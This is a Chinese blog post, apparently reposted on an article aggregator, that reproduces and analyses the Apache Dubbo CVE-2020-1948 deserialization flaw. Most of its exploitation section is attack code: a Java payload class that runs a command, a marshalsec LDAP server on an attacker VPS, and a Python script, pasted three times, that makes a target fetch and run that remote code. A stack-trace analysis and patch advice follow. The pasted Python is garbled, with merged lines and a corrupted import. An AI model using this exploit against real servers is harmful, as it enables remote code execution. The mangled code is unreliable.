Dubbo-CVE-2020-1948

2023-10-07 12:44
文章标签 2020 dubbo cve 1948

本文主要是介绍Dubbo-CVE-2020-1948,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

APache Dubbo简介

Dubbo是一个分布式服务框架,致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。简单的说,dubbo就是个服务框架,如果没有分布式的需求,其实是不需要用的,只有在分布式的时候,才有dubbo这样的分布式服务框架的需求,并且本质上是个服务调用的东西,说白了就是个远程服务调用的分布式框架(告别Web Service模式中的WSDL,以服务者与消费者的方式在dubbo上注册) 其核心部分包含:

  • 远程通讯: 提供对多种基于长连接的NIO框架抽象封装,包括多种线程模型,序列化,以及“请求-响应”模式的信息交换方式。
  • 集群容错: 提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集群支持。
  • 自动发现: 基于注册中心目录服务,使服务消费方能动态的查找服务提供方,使地址透明,使服务提供方可以平滑增加或减少机器。

下图是官方的工作原理图和解释

async 异步
sync 同步
  • Provider :暴露服务方称为服务提供者
  • Consumer :调用远程服务方称为服务消费者
  • Rrgister:服务注册与发现的中心目录服务称之为服务注册中心
  • Monitor:统计服务的调用次数和 时间的日志服务称为服务监控中心
  • Container:服务运行容器

Provider将本地提供的远程方法在注册中心进行注册,Consumer需要调用时会先去注册中心进行查询,根据注册中心返回的结果再去对应的Provider中调用对应的远程方法,如果有变更,注册中心将基于长连接推送变更数据给Consumer 。

启动注册中心,Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心 下载地址Apache ZooKeeper

环境复现

影响版本
Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7
Dubbo 2.5.x

docker操作

docker pull dsolab/dubbo:cve-2020-1948

docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d

漏洞利用

  1. 编写java代码,进行简单的命令执行,这里以ping命令为例,用检测无回显的dnslog用于验证
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;public class exp {public exp(){try {java.lang.Runtime.getRuntime().exec("ping zqmp97.dnslog.cn");} catch (java.io.IOException e) {e.printStackTrace();}}
}
  1. 编译java代码class文件

javac poc.java

最后得到class文件,这里遇到了一下javac -bash command not found的问题

使用如下命令解决

yum install java-1.8.0-openjdk-devel.x86_64

原因:下载的时候只执行了yum install java,导致不是完整的jdk

参考链接:https://www.cnblogs.com/sirdong/p/11987639.html

  1. 启动静态网站服务,apache,nginx都可以,这里以python 开启80端口的web服务为例

python -m SimpleHTTPServer 80

  1. 在另一个终端下载marshalsec,启动LDAP代理服务

下载地址: https://github.com/RandomRobbieBF/marshalsec-jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps/#exp 777

参考链接:https://www.cnblogs.com/afanti/p/11266087.html

java 反序列化利用工具 marshalsec 使用简介-CSDN博客

LDAP:轻型目录访问协议 英文 Lightweight Directory Access Protocol )是一个开放的,中立的,工业标准的 应用协议 ,通过 IP协议 提供访问控制和维护分布式信息的目录信息。轻型目录访问协议 英文 Lightweight Directory Access Protocol)是一个开放的,中立的,工业标准的 应用协议,通过 IP协议提供访问控制和维护分布式信息的目录信息。
marshalsec 的用法,使用形式如下
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
参数说明
  • -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
  • -t:对生成的payloads进行解码测试
  • -v:verbose mode, 展示生成的payloads
  • gadget_type:指定使用的payload
  • arguments - payload运行时使用的参数
  • marshalsec.<marshaller>:指定exploits,根目录下的java文件名
  1. 编写python的脚本exp.py

在此之前,需要安装模块

pip install dubbo-py
# exp.py
# -*- coding: utf-8 -*-import sysfrom dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClientif len(sys.argv) < 4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client = DubboClient(sys.argv[1], int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)resp = client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:print('[+] Succeed.')
else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.') 
# exp.py
# -*- coding: utf-8 -*-import sysfrom dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClientif len(sys.argv) < 4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client = DubboClient(sys.argv[1], int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)resp = client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:print('[+] Succeed.')
else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')
  1. 执行相应的py脚本

python exp.py 目标vps ldap://己方vps:777/exp

出现success的时候,说明成功

然后观察dnslog,也可以发现回显

同时我们可以留意一下相关的LDAP服务,当出现转发成功的时候,自然也是成功的

参考文章:Apache Dubbo CVE-2020-1948 反序列化漏洞利用-CSDN博客

原理研究

源码版本:dubbo v2.7.6

下载地址:https://github.com/apache/dubbo-spring-boot-project/tree/35568ff32d3a0fcbbd6b3e14a9f7c0a71b6b08ee

下载后,将项目导入IDEA

我们开始分析一下现有的exp

poc1

# exp.py
# -*- coding: utf-8 -*-import sysfrom dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClientif len(sys.argv) < 4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client = DubboClient(sys.argv[1], int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)resp = client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:print('[+] Succeed.')
else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')

poc2

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClientclient = DubboClient('127.0.0.1', 12345)JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource="ldap://127.0.0.1:8087/#ExportObject",strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)resp = client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',method_name='rce',args=[toStringBean])

不难发现,该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean,所以Provider的pom.xml中需要添加rometools的引用

我们向dubbo-spring-boot-samples/auto-configure-samples/provider-samplepom.xml 添加依赖

<dependency><groupId>com.rometools</groupId><artifactId>rome</artifactId><version>1.7.0</version>
</dependency>

然后导入依赖

漏洞成因

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法,重写了 toString,该方法将会调用构造对象的所有 getter 方法

从上面 PoC 可以看到,执行 Dubbo 调用时,传入的是 ToStringBean 类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl,并且 datasource 属性设置的是 JNDI 暴露的 url,在调用 JdbcRowSetImplgetDatabaseMetaData 方法时,执行 connect 操作,下载远端代码,在 Service Provider 执行,造成攻击。

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求,在 DecodeableRpcInvocation#decode 反序列化参数的地方:

dubbo 默认使用的是 hession2 序列化,解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

hession 反序列化过程中,通过下面代码段执行到了 ToStringBean#toString

堆栈利用链

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

修复建议

  1. 删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。
  2. 升级 2.7.7 版本,并根据https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法进行参数校验
  3. 禁止将 Dubbo 服务端端口开放给公网,或仅仅只对能够连接至 Dubbo 服务端的可信消费端IP开放
  4. Dubbo 协议默认采用 Hessian 作为序列化反序列化方式,该反序列化方式存在反序列化漏洞。在不影响业务的情况下,建议更换协议以及反序列化方式。具体更换方法可参考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html

参考文章:

https://www.cnblogs.com/JingQ/p/13329083.html

https://www.cnblogs.com/zhengjim/p/13204194.html

https://www.cnblogs.com/zhengjim/p/13204194.html

Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析

这篇关于Dubbo-CVE-2020-1948的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/157815

相关文章

usaco 1.3 Mixing Milk (结构体排序 qsort) and hdu 2020(sort)

到了这题学会了结构体排序 于是回去修改了 1.2 milking cows 的算法~ 结构体排序核心: 1.结构体定义 struct Milk{int price;int milks;}milk[5000]; 2.自定义的比较函数,若返回值为正,qsort 函数判定a>b ;为负,a<b;为0,a==b; int milkcmp(const void *va,c

Dubbo学习入门

本文参考自:Dubbo用户手册(中文)http://dubbo.apache.org/books/dubbo-user-book/ 现在的参考文档地址:http://dubbo.apache.org/zh-cn/docs/user/quick-start.html 入门请参考自《Dubbo用户手册(中文)》第一节,在手册第二节说明如何快速启动Dubbo,下面就顺着手册的使用方式,自己搭建一个快

dubbo服务过程

dubbo服务暴露过程 Dubbo通过实现ApplicationListener接口,监听了容器刷新的事件,再容器刷新后调用onApplicationEvent方法,这个是服务暴露的启动点通过识别带目标注解的服务类通过动态代理统一暴露出Invoker,如何通过配置文件以及目标协议(SPI机制)封装成exporter存储起来如果是本地注册,将exporter存入ServiceConfig的缓存,如

vulhub GhostScript 沙箱绕过(CVE-2018-16509)

1.执行以下命令启动靶场环境并在浏览器访问 cd vulhub/ghostscript/CVE-2018-16509 #进入漏洞环境所在目录   docker-compose up -d #启动靶场   docker ps #查看容器信息 2.访问网页 3.下载包含payload的png文件 vulhub/ghostscript/CVE-2018-16509/poc.png at

Dubbo缓存

是的,Dubbo 可以对服务调用结果进行缓存。通过缓存结果,可以减少重复调用、降低服务提供者的负载,并提高系统的响应速度和吞吐量。Dubbo 内置了多种缓存机制,开发者可以根据不同的业务需求选择合适的缓存策略。 1. Dubbo 结果缓存的工作原理 Dubbo 的结果缓存功能是在服务消费者一侧实现的。当一个服务消费者调用某个服务时,Dubbo 会首先检查本地缓存中是否有该服务的结果。如果缓存中

springboot+dubbo+zk 入门篇(windows单机版)

一、下载安装zk注册中心并启动:     官网地址:http://www.apache.org/dyn/closer.cgi/zookeeper/     我的是zookeeper-3.3.6版本的。下载之后需要修改下文件:进入zk的conf目录。复制下zoo_sample.cfg     这个文件并重命名为zoo.cfg,然后把修改该文件内容,下面是我的,这个只是单机配置: # 心跳时间间隔

dubbo 服务消费原理分析之引用服务配置

文章目录 前言一、服务监听ContextRefreshedEvent1、AbstractApplicationContext.refresh2、AbstractApplicationContext.finishRefresh3、DubboDeployApplicationListener.onApplicationEvent4、DefaultModuleDeployer .referServ

dubbo是什么?,能做什么?以及其工作流程

1.Dubbo是什么?能做什么? Dubbo是阿里巴巴开源的基于Java的高性能RPC分布式服务框架,现已成为Apache基金会孵化项目,致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案 简单来说,dubbo就是个服务框架,如果没有分布式的需求,其实是不需要用的,只有在分布式的时候,才有dubbo这样的分布式服务框架的请求,本质上是个远程服务调用的分布式框架 其核心部

【网络安全】Jenkins任意文件读取漏洞及检测工具(CVE-2024-23897)

原创文章,不得转载。 文章目录 漏洞成因影响范围检测工具更多细节 漏洞成因 Jenkins CLI 接口存在任意文件读取漏洞(CVE-2024-23897)。该问题源于 args4j 库在解析文件名参数时,会将@符号后的字符串视为文件名并尝试读取文件,而且该功能默认处于启用状态。 影响范围 Jenkins weekly <= 2.441 Jenkins LTS <=

2020年SEO行业发展变化和趋势分析!

一、搜索引擎算法发展轨迹 第一阶段:人工目录(1997年-2001年“雅虎早期搜索模式”); 第二阶段:文本分析(2001年-2004年“以关键词和背景颜色一样,堆积大量关键词,就会有非常好的排名; 第三阶段:链接分析(2004年-2009年“以反向链接为核心算法的阶段”),这时行业内有句话是内容为王,外链为皇; 第四阶段:智能分析(2009年-现在“以满足用户人性化需求的用户浏览行为分析